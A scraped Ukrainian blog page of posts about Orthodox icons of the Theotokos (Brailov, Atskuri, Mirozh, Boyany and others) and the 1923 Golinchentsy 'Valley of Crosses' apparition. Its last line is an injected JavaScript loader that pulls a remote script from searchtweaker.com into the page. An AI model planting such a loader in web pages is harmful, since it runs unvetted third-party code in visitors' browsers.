хочу сюди!
 

Ліда

50 років, водолій, познайомиться з хлопцем у віці 46-56 років

Замітки з міткою «богородица»

Браиловская Богородица

Браиловская икона Божией Матери

Браиловская икона Божией Матери 

Браиловская икона Божией Матери

Браиловская икона Божией Матери


Браиловская икона Божией Матери

Браиловская икона Божией Матери


Браиловская икона Божией Матери

Браиловская икона Божией Матери

Память 1/14 октября.

Находится в храме Браиловского монастыря, в местечке Браилове. По преданию эта икона принесена в дар обители ее основателем Михаилом Кропивницким в 1635 году.

Богоматерь изображена на этой иконе в строго византийском стиле; изо6ражение сделано на холсте, наклеенном на кипарисную доску. Живопись от времени потемнела. Изображение Богородицы поясное. Предвечный Младенец с левой стороны поддерживается рукою Пречистой Его Матери. Персты правой руки Спасителя сложены для крестного знамения. Лики на иконах, отличающиеся величавостью выражения, по временам видны отчетливо и ясно, а иногда бывают настолько туманны, что их трудно бывает рассмотреть. Помещается этот образ в иконостасе, над царскими вратами.

В том же соборном храме находится и другая местночтимая икона Богоматери, отличающаяся от вышеуказанной по своему изображению, но носящая то же наименование Браиловской. Она принесена в Браиловский монастырь в XIX столетии из Почаевской лавры и помещается в левой стороне церкви, у амвона.
Богоматерь изображена на этой иконе в строго византийском стиле; изо6ражение сделано на холсте, наклеенном на кипарисную доску. Живопись от времени потемнела. Изображение Богородицы поясное. Предвечный Младенец с левой стороны поддерживается рукою Пречистой Его Матери. Персты правой руки Спасителя сложены для крестного знамения. Лики на иконах, отличающиеся величавостью выражения, по временам видны отчетливо и ясно, а иногда бывают настолько туманны, что их трудно бывает рассмотреть. Помещается этот образ в иконостасе, над царскими вратами.

В том же соборном храме находится и другая местночтимая икона Богоматери, отличающаяся от вышеуказанной по своему изображению, но носящая то же наименование Браиловской. Она принесена в Браиловский монастырь в XIX столетии из Почаевской лавры и помещается в левой стороне церкви, у амвона.

Акафист Пресвятей Богородице пред чудотворной Ея иконой Браиловской

Молитва пред святою иконою Богоматери Браиловской

Люблинская Икона Божией Матери

Люблинская икона Божией Матери

Люблинская икона Божией Матери 


Люблинская Икона Божией Матери

Люблинская Икона Божией Матери

Празднование: 14 октября

Пречистый Люблинский образ Богоматери находится в городе Люблине, в городском Спасо-Преображенском соборе. Эта икона была пожертвована сюда ревнителями Православия на Волыни – князьями Острожскими Константином и Иваном.

Предание возводит историю этого образа ко временам жизни первоучителей славянских святых Кирилла и Мефодия, утверждая, что святые братья принесли эту икону с собою в Моравию в IX веке, а отсюда уже ученики их, спасавшиеся от преследования немецких католических миссионеров, перенесли Люблинскую икону Божией Матери в Россию.

Этот образ пользуется великим почитанием среди всего западного православного населения. О нем сложены целые песнопения, содержащиеся в так называемых богогласниках, т. е. сборниках песней религиозно-нравственного содержания, очень распространенных на западе России.

Беседная Богоматерь

Беседная икона Пресвятой Богородицы
Беседная икона Пресвятой Богородицы

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=3007&Itemid=1


Беседная икона Пресвятой Богородицы

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=3006&Itemid=1#joomimg



Беседная икона БМ

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2780&Itemid=1#joomimg


Беседная икона БМ

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2779&Itemid=1#joomimg


Беседная икона БМ

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=198&Itemid=1#joomimg


Беседная икона БМ

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=197&Itemid=1#joomimg


Беседная икона Пресвятой Богородицы называется так потому, что на ней изображаются Божия Матерь и святитель Николай Мирликийский, беседующие с пономарем Георгием. Это событие произошло вскоре после явления Тихвинской иконы Пресвятой Богородицы, в 1383 г., когда Сама Пресвятая Богородица повелела пономарю Георгию сказать, чтобы над новоустроенным в Ее честь храме в Тихвине поставили деревянный крест, а не железный. На месте этого явления была построена часовня во имя святителя Николая Чудотворца. Часовня горела несколько раз (причем первый раз в 1390 г. одновременно с храмом, в котором находилась Тихвинская икона Пресвятой Богородицы). В 1515 г. была построена деревянная церковь и основан монастырь в честь этой святой иконы.

 

Беседная икона Пресвятой Богородицы Молитва ко Пресвятой Богородице пред Ее иконою «Беседная»






Ацкурская икона Божией Матери

Ацкурская икона Божией Матери

Ацкурская икона Божией Матери

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2768&Itemid=1

Ацкурская икона Божией Матери

Ацкурская икона Божией Матери

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=639&Itemid=1

Ацкурская икона с изображением Божией Матери Одигитрии с Младенцем на левой руке находится в центре чеканного трехчастного киота-складня. Живописные лики выполнены в поздний период поновлений. Общий размер складня 137 142 см, средника 46 38,5 см, створ 118 35 см. В качестве материала для оклада использованы червонное золото, серебро, драгоценные и полудрагоценные камни, жемчуг.

Стилистические особенности и надписи на Ацкурской иконе относятся к разному времени. Иконографический тип Богоматери Одигитрии и тенденция к монументальности в изображении фигур продолжают традицию грузинской чеканки ХI в. Фон иконы, выполненный в технике низкого рельефа, и коврообразный растительный декор отражают влияние вост. мотивов XVI в. (периода Селевкидского Ирана), что позволяет говорить о возможном происхождении мастера из Восточной Грузии. На нижней полосе обрамления находится надпись (между 1578-1583), в к-рой упоминаются вкладчики иконы имеретинский царь Георгий II, его супруга царица Тамара и сыновья Александр и Мамия.

Передние и внутренние поверхности створок киота покрыты серебряными пластинками. На внутренней поверхности створок, разделенных на 5 регистров, изображены сюжеты из цикла Страстей Господних и жития Пресв. Богородицы. Мастер тщательно имитировал чеканку Зарзмийской иконы Божией Матери XI в. В нижней части створок расположена надпись, извещающая о том, что имеретинский царь Соломон I сделал 2-й оклад из позолоченного серебра в 1774 г., упоминаются его супруга царица Тамара и сын Александр. К этому времени относится и выполненная в западноевроп. манере чеканка вокруг центрального образа: 2 парящих ангела с короной в руках и полуфигуры евангелистов, апостолов и отцов церкви.

Ацкурская икона Божией Матери

(Празд. 15 авг.), чтимый чудотворный образ, по преданию, является копией нерукотворной иконы Пресвятой Богородицы, связанной с именем апостола Андрея Первозванного. В соч. «Похвала» («Хождение и проповеди святого апостола Андрея Первозванного»), повествуется о том, что Пресвятой Богородице, согласно жребию, досталась в удел Грузия, но по велению Господа туда был послан ап. Андрей проповедовать христианство. Он получил из рук Богоматери Ее нерукотворный образ, запечатленный на обычной доске, которую Она приложила к Своему Пречистому Лику. Леонтий рассказывает о многочисленных чудесах от иконы: так, в Аджарии во время проповеди ап. Андрей приложил образ к земле - и забил целительный источник (сохранился до наст. времени); в Ацкури апостол воскресил сына вдовы местного правителя Самдзивара; ап. Андрей усмирил гнев жрецов храма Аполлона и Артемиды, оставив икону на ночь в языческом храме, где статуи богов наутро оказались разбитыми. По просьбе уверовавших самцхийцев ап. Андрей создал нерукотворную копию иконы, приложив обычную доску к Образу Пресвятой Богородицы, новый образ был поставлен в небольшой часовне в Ацкури, откуда и произошло название иконы.

Средневек. историк Джуаншер сообщает, что в 620 г., во время похода на Персию, визант. имп. Ираклий специально останавливался в Ацкури, чтобы поклониться святыне. Один из анонимных авторов Картлис Цховреба рассказывает, что после сильного землетрясения в Грузии в 80-х гг. XIII в. А. и. была обретена неповрежденной под обрушившимся куполом Ацкурского кафедрального собора. Предание о чудесах А. и. содержится и в тексте «Нового жития Картли», составленного в нач. XVIII в. При нападении иран. шаха Узун-Хасана на Картли в 1477 г. персид. войска истребили множество христиан в Самцхе, разрушили церкви и А. и. увезли с собой. Вскоре персам чудесным образом было указано, что похищение иконы является источником бед, постигших их страну, и А. и. с большими почестями была отправлена обратно. В местечке, получившем впосл. название Елавси (сияющий), А. и. просияла, по словам хрониста, озарив Самцхе «великим светом, подобным молнии».

Из-за опасности нового нашествия персов Ацкурская икона была спрятана в Ацкурской крепости. В 1486 г. персидский правитель Якуб-бек с многочисленным войском вступил в Самцхе, опустошил Ацкури, но взять крепость не смог. Предложив местным жителям мир в обмен на ключи от крепости, он обманул их и истребил все население. Якуб-бек собственноручно снял богатое украшение с Ацкурской иконы и бросил ее в огонь, к-рый погас, как только языки пламени прикоснулись к образу Пресвятой Богородицы. Один из воинов хана, исповедовавший христианство, поместил икону у себя дома. Некоторое время спустя он услышал голос, исходивший от нее: «Если ты не отвезешь меня на мою родину, тебя постигнет несчастье». Воин отправился в Самцхе и поведал обо всем атабагу (правителю) Кваркваре. Обрадованный известием, что Ацкурская икона нашлась, Кваркваре отправил в Персию доверенных лиц, они выкупили икону и вернули в Ацкури. В 1545 г. имеретинский царь Баграт III после одной из военных экспедиций поместил Ацкурскую икону в церковь в с. Цихисджвари, западнее Ацкури. Сын Баграта Георгий II (1565-1585) перевез икону в Имерети, в монастырь Гелати. Через некоторое время царь примирился с атабагом Кваркваре и вернул Ацкурскую икону в Ацкурский храм. Но в конце 60-х гг. XVI в. Георгий вновь вывез икону в Имерети, и уже вплоть до нач. XX в. она находилась в Гелатском монастыре, откуда в 1952 г. была передана на хранение в Государственный музей истории искусств Грузии им. Ш. Я. Амиранашвили.

Икона Божией Матери, именуемая Мирожская

Мирожская икона Богоматери

Мирожская икона Божией Матери

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=631&Itemid=3

XVI век, Россия, Псковский объединенный историко-архитектурный и художественный музей-заповедник

Дерево, темпера,  144 х 112 см

Иконографические особенности "Богоматери Мирожской" привели некоторых исследователей (прежде всего, Ф.А. Каликина) к выводу о том, что сохранившаяся икона XVI века копирует более раннее произведение с прижизненными изображениями Довмонта и Марии. На это указывают иконография Богоматери, находящая аналогии в памятниках XII-XIII веков ("Богоматерь Великая Панагия" в ГТГ): индивидуальность черт князя (высокий лоб с залысинами), древний тип одежд предстоящих и отсутствие нимбов, необычное для XVI века, когда Довмонта уже почитали как святого. Кроме того, композиция иконы близка ряду византийских и сербских памятников XIII-XIV веков с портретами донаторов - заказчиков икон или росписей. Таким образом, древний оригинал "Богоматери Мирожской", по всей видимости, был заказан князем Довмонтом и княгиней Марией и вложен в Мирожский монастырь. Не исключено, что это утраченное произведение, в свою очередь, копировало более древнее изображение Богоматери, прославившееся чудесами в конце XII столетия. С древними изображениями связана не только иконография Богоматери на псковской иконе, но и трактовка Ее одеяний. Ассист, покрывающий всю поверхность одежд, образует широкие рельефные складки и резко отличается от штрихового ассиста, типичного для произведений XIV-XV столетий. При этом стилизованные орнаменты одежд Довмонта и Марии глубоко своеобразны и имеют аналогии в некоторых псковских памятниках XVI века (икона "Апостол Матфей и архидиакон Стефан", фрески Успенского собора Псково-Печерского монастыря, скульптура "Святитель Никола Можайский" там же). Другие иконы Довмонта и Марии, относящиеся к XVI веку (псковская икона из собрания А.И. Анисимова в ГТГ), по стилю и иконографическим деталям отличаются от их изображений на Мирожской иконе, поскольку не являются непосредственными копиями древнего образца. Личное письмо "Богоматери Мирожской" основано на приемах, известных по псковским произведениям 1540-1550-х годов.

Икона "Богоматерь Мирожская" принадлежит к иконографическому типу "Богоматерь Воплощение". Богоматерь изображена в рост, с руками, воздетыми в молитвенном жесте. На Ее груди, в складках мафория, видна полуфигура Младенца Христа, благословляющего обеими руками. В верхних углах иконы представлены поясные архангелы. По сторонам от Богоматери в молитвенных позах изображены псковский князь Довмонт и его жена княгиня Мария. Рядом с их фигурами помещены киноварные надписи: "Бл(а)говерны княз Домантъ в с(вя)томъ [крещении] / / Тимофеи"; "Бл(а)говерная кн(я)гиня Мария Домант... // жена дщерь великаго кн(я)зя Александра Н[ев] //скаго".

Икону Псковского музея отождествляют с чтимым образом Богоматери, находившимся в Спасо-Мирожском монастыре (празднуется 24 сентября; служба напечатана в Минее 1666 г.).

По преданию, первое чудо от Богородичного образа из Мирожского монастыря совершилось в 1192 или 1198 году. Однако древнейшее достоверное известие о Мирожской иконе, обладавшей такой же иконографией, что и памятник Псковского музея, относится ко второй половине XVI века. Это Сказание, составленное псковским книжником Варлаамом и посвященное чудесному истечению слез из очей Богородицы в 1567 году. В Сказании приводится описание иконы: "В той же ... церкви боголепнаго Преображения Господня бе бо икона Матери Божия, образ Пречистая Богородицы, чистыя голубицы, честнаго ея Воплощения, местная, на злате. На той же бе иконе написан молебным образом на десной стране благоверный князь Домант Псковский, нареченный во святом крещении Тимофей, да тутож на другой стране образа Матери Господня написана молебным образом княгиня Мария, супруга того князя Доманта...". Судя по тексту Сказания, икона воспринималась как покровительница Пскова, "...понеже бо Богородица молится со слезами к Сыну Своему Христу Богу нашему за град и люди, живущая в нем". После чуда от Мирожской иконы, она была перенесена в городской Троицкий собор. Согласно псковскому преданию, в 1570 году царь Иван IV увез чудотворную икону в Москву. На основании этой легенды некоторые исследователи считают икону Псковского музея списком, исполненным для псковичей взамен вывезенного образа. По мнению Т.В. Кругловой и В.Д. Сарабьянова, первоначально в Мирожском монастыре почиталось фресковое изображение Богоматери Заступницы 1140-х годов, расположенное на предалтарном пилоне монастырского Спасо-Преображенского собора. Икона "Богоматерь Мирожская" является одним из древнейших памятников с изображением псковских святых - благоверного князя Довмонта, в крещении Тимофея (день памяти 20 мая), и его супруги княгини Марии, в иночестве Марфы (день памяти 8 ноября). Довмонт, живший во второй половине XIII века, происходил из литовского княжеского рода и первоначально был язычником. В Повести о Довмонте, составленной во второй половине XIV столетия (распространенная редакция относится к рубежу XVI-XVII вв.), сказано, что в 1266 году он бежал из Литвы в Псков, где Бог "вдохнул в него благодать Святого Духа", и принял крещение. Став псковским князем, Довмонт служил псковичам, защищал от врагов "дом Святой Троицы" и прославился как храбрый воин и политический деятель, укрепивший псковскую независимость. В 1299 году князь скончался и был погребен в Троицком соборе. Жена Довмонта Мария была дочерью князя Дмитрия Александровича и внучкой Александра Невского (в надписи на иконе ошибочно названа дочерью Александра). После смерти мужа она постриглась в Иоанно-Предтеченском монастыре, где и была похоронена. Очевидно, уже в XIV веке Довмонта, наряду с князем Всеволодом-Гавриилом, почитали как покровителя Пскова.

Мирожская икона Божией Матери

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=632&Itemid=3

Мирожская икона Божией Матери

В наши времена появилась возможность проследить историю трёх князей ДОВМОНТОВ, живших в XIII веке.Перепутанных в истории.

До начала XVIII века в Троицком Соборе Пскова хранились меч и одежда князя ДОВМОНТА….
Но самое запустение Пскова и наследия святого ДОВМОНТА произошло в царствование Петра I.
800 лучших Псковских семей были высланы на Волгу.
Все церкви Довмонтова города были срыты и засыпаны землёю.
Иконы князя Довмонта и его супруги Псковской Святой Марии - Марфы (дочери или внучки Александра Невского) удалены из церквей.
С чудотворной псковской иконы МИРОЖСКОЙ БОЖИЕЙ матери исчезли лики князя ДОВМОНТА и его супруги Марии псковской святой Марфы.
Наглядным подтверждением этого до наших дней служит главный иконостас Елоховского Богоявленского собора Москвы, где слева от царских врат помещён образ Мирожской Пресвятой Богородицы, но без Довмонта и Марии.
Пропала служба Мирожской иконе, напечатанная в сентябрьской минее. Москва. 1666 г. (5)
О сыне ДОВМОНТА и Марии – ДАВИДЕ - непобедимом воине Великой Литвы написано:
1.Давид староста Гродненский Русский по происхождению…приходил на помощь Пскову против крестоносцев в 1322 году….
2.Давид сын Святого князя ДОВМОНТА псковского…, изменчески убит в 1327 году, не оставил потомства.

Икона Божией Матери, именуемая Мирожская

Празднование: 24 сентября/ 7 октября

Название иконы происходит от реки Мирожи в Псковской области, при устье которой располагался Спасский мужской монастырь. Здесь и явился образ Божией Матери в 1156 году. Позже на иконе прибавили изображения святого благоверного князя Довмонта, в крещении Тимофея (по правую руку от Богородицы), а по левую руку - его супруги, княгини Марии (в иночестве Марфы), внучки святого благоверного князя Александра Невского.
Прославилась икона в 1567 году во время морового поветрия в Пскове. Когда во время эпидемии в город принесли икону из Спасского монастыря, многие жители после молитвы перед святым образом получили исцеление.
В 1922 году монастырь закрыли, а Мирожская икона Пресвятой Богородицы была изъята в областной художественный и историко-архитектурный музей. Ныне в возрождённой обители чтится список (копия) древнего чудотворного образа.

Молитва ко Пресвятой Богородице пред Ее иконою «Мирожская»


Долина Крестов

К 90-летию чудесного явления Божией Матери у села Голинченцы (Винницкая область)

Олег Слепынин

Икона, изображающая явление Богоматери в Иосафатовой долине. Написана в 2006 г. Утром 15 августа 2013 года тысячи верующих, в том числе шесть архиереев в праздничном лазоревом облачении и несколько сотен священников Украинской Православной Церкви Московского Патриархата, совершили трёхкилометровый крестный ход от с. Голинченцы к месту, которое издавна именуется Иосафатовой долиной.

В 1923-м, 90 лет назад, на этом месте произошло чудесное явление Богородицы пастуху Иакову и девочке Харитине. Ошеломлённый пастух, увидев отражение Богородицы в воде колодца, воскликнул: «Матерь Божия, что нам делать?» И услышал в ответ: «Христа славьте, кресты ставьте!»

Приходской священник о. Тихон Петринский, которому взволнованный пастух рассказал о чуде, отнёсся к рассказу со всей серьёзностью — наступало время гонений. С хоругвями и крестами пришли люди к источнику, отслужили молебен и установили первые кресты. Слух о чуде разлетелся по окрестным сёлам, покатился дальше по Руси, до Урала, до Дальнего Востока. Иосафатова долина (это просторная лощина, рельефная складка между двумя водоразделами, с несколькими родниками) стала наполняться крестами…

В винницком архиве уже в новом столетии было обнаружено уголовное дело, именуемое «Про кресты в Иосафатовой долине». Из фрагментарно доступных материалов мы узнаём удивительные вещи!

Иллюстрация к статье о судебном процессе в газете Червоний край, 1925 г. Иллюстрация к статье о судебном процессе в газете Червоний край, 1925 г.

Докладная председателя Подольского губисполкома от 24 ноября 1923 года прямо свидетельствует о чуде: «…случаются многочисленные случаи исцеления от различных заболеваний, что вызывает неимоверный наплыв людей на религиозные действия, которые проводятся на месте явления загадочной женщины с ребенком». Председатель выражает обеспокоенность: «Это всё выходит за рамки коммунистической идеи, потому является вредным». Уголовное дело доносит до нас бесценное свидетельство об исповедническом подвиге жителей Подолья.

Ниже приведём фрагмент интереснейшего документа из «дела» (в переводе с украинского, в соответствии с современными правилами письма). «…Пастушок, который пас скотину в четырёх верстах от села Голинчинец, в долине под названием «Асафовой», где имеются два колодца, стал распространять слух, что когда он пас скотину, к нему явилась Божия Матерь и сказала, что возле одного из колодцев необходимо поставить три креста и охранять их на протяжении 4-х дней, после чего станут появляться новые кресты и засеют [собой] возле колодцев всю площадь земли на пространстве 8 десятин. Когда вся площадь будет заставлена крестами, людям станет легче жить. Пущенный такого рода слух, под влиянием агитации «моторних молодцiв» из представителей религиозных кружков соседних сёл, привела к тому, что к настоящему времени в Асафовой долине насажено около 700 крестов. Причём необходимо указать, что первый крест с участием духовенства ближних сёл был поставлен религиозной общиной села Голинчинец. Кресты делаются из дуба высотой до 14 аршин (до 10 метров! – О.С.) и везутся в Асафову долину на подводах, в сопровождении процессий… Идут с пением псалмов… Скопление людей в Асафовой долине доходит до нескольких тысяч. Горят беспрестанно свечи, поются псалмы, все кресты обвешиваются рушниками… Толпится там люд и день и ночь. Не обходится и без чудесных исцелений…»

Кресты  Большой крест

В тот год, как мы знаем, даже некоторые большевики на своём ХII съезде говорили о «перегибах в антирелигиозной пропаганде». Один из вождей, Зиновьев, обмолвился, что с Пасхой «залезли вперёд». Впрочем, отступать с «адовой работой» никто и не думал.

Пятьдесят жителей села Голинченцы были арестованы, в том числе священник о. Тихон Петринский и пастух Яков Мисик. Конная милиция, подгоняя нагайками, гнала православных христиан много километров в Шаргород, а оттуда – в Винницу, это ещё под сто километров.

Уничтожить кресты в долине оказалось делом непростым. Кресты выламывали, рубили, за это выплачивались премии. Кто-то и дома из сломанных крестов строил в сёлах. Ходили слухи, отголоски которых и поныне живы. Рассказывают: «Один человек набрал себе пней (от срубленных крестов), стал печь ими топить. А из печи услышал он пение, словно церковное, и голос приказал ему отнести пни туда, где взял. Так он на следующий день погрузил их на воз, отвез в долину и повтыкал назад в ямы».

Очевидец чуда Иаков Мисик в винницкой темнице принял мученическую кончину. Остальных арестантов, допросив, выгнали на улицу.

 Когда страдальцы добрались до родного села, узнали, что в Иосафатовой долине, где недавно были уничтожены все кресты, появились тысячи новых. Называют цифру – 16 тысяч! Передают, что кресты везли всю зиму из самых разных мест, отдалённых, даже из Сибири и с Дальнего Востока.

Уголовное дело получило новый толчок. На дорогах были выставлены вооружённые посты, долина блокирована, произведены новые аресты. Летом 1925-го состоялся суд. Девяти священникам инкриминировали распространённую «антипоповскую» статью – «использование религиозных обрядов в корыстных целях». Для 18 мирян предлагалась «контрреволюционная» статья. Дали до 4 лет исправительно-трудовых лагерей.

Название «Иосафатова долина» буквально переводится как «долина, в которой Бог будет судить». В Библии, в книге пророка Иоиля (3:2-12) о Иосафатовой долине сказано: «Я соберу все народы, и приведу их в долину Иосафата и там произведу над ними суд». На Подолье название возникло задолго до ХХ века как подражание исторической местности в Иерусалиме.

Во временном храме Во временном храме

Митрополит Винницкий и Барский Симеон говорит о духовном смысле установки крестов во исполнение воли Богородицы: «Это знак того, что верующие готовы разделять с Господом чашу его страданий и смиренно нести свой жизненный крест. Поэтому Иосафатова долина и получила в народе второе название – «Долина крестов».

Страницы: 1 2

Память неизвестного по имени инока, удостоившегося явления Архан

Panagia Aksion  В похвальном слове просиявшим на Святой Горе Отцам блаженной памяти Никодим Святогорец упоминает и того, не известного по имени блаженного инока , который, живя в подчинении у своего старца, сподобился странноприять в своей келье самого Архангела Гавриила и услышать от него умилительный гимн Богоматери.
Читать далее »

Боянская Богородица

Боянская икона Божией Матери


Боянская икона Божией Матери,

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=3075&Itemid=1


Почитаемая на Украине Боянская икона Божией Матери находится в Черновицкой епархии Украинской Православной Церкви Московского патриархата, в Боянском женском монастыре в селе Бояны Новоселицкого района. Икона была написана в 1991 году для местного ряда иконостаса обновляемой после 30-летнего запустения церкви Рождества Пресвятой Богородицы. 4 октября 1994 года на заседании Священного Синода Украинской Православной Церкви под председательством митрополита Киевского и всея Украины Владимира икона была признана чудотворной и получила название Боянской по месту, где явила свои чудеса. В 1999 году при церкви в честь Рождества Пресвятой Богородицы был основан женский монастырь в честь Боянской иконы Божией Матери.



Богоматерь на престоле

Богородица на престоле

Icon

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=3076&Itemid=1



Virgin and Child Enthroned

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=3058&Itemid=1#joomimg



العذراء مع الطفل يسوع

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2936&Itemid=1#joomimg



Богоматерь на престоле

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2638&Itemid=1#joomimg



Богоматерь на престоле

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2524&Itemid=1#joomimg



Богородица на престоле

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2387&Itemid=1#joomimg


Богородица на престоле

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2308&Itemid=1#joomimg



Богоматерь с Младенцем

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2306&Itemid=1#joomimg



Богоматерь на престоле

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2301&Itemid=1#joomimg



Богоматерь с младенцем на троне

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2258&Itemid=1#joomimg



Икона Божией Матери с Младенцем на троне

http://iconbm.ru/index.php?option=com_joomgallery&func=detail&id=2170&Itemid=1#joomimg



Богородица на престоле (Панахранта)

Панахранта (ср.-греч. Panachranta — Пренепорочная, Пречистая), Всемилостивая, Всецарица — один из иконографических типов изображения Богородицы, близкий к типу Одигитрия. Этому типу характерно изображение Богоматери, восседающей на престоле с Младенцем Христом на коленях. Трон символизирует царственное величие Божией Матери. На Руси наиболее почиталась икона этого канона Богоматерь Печерская (Свенская) с предстоящими Феодосием и Антонием, XIII в.

Такой тип изображения появился в Византии в XI—XII вв.

Другие известные иконы этого типа:

Кипрская;
Киево-Печерская;
Ярославская (Печерская);
Псково-Покровская;
«Державная»;
«Всецарица».











(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();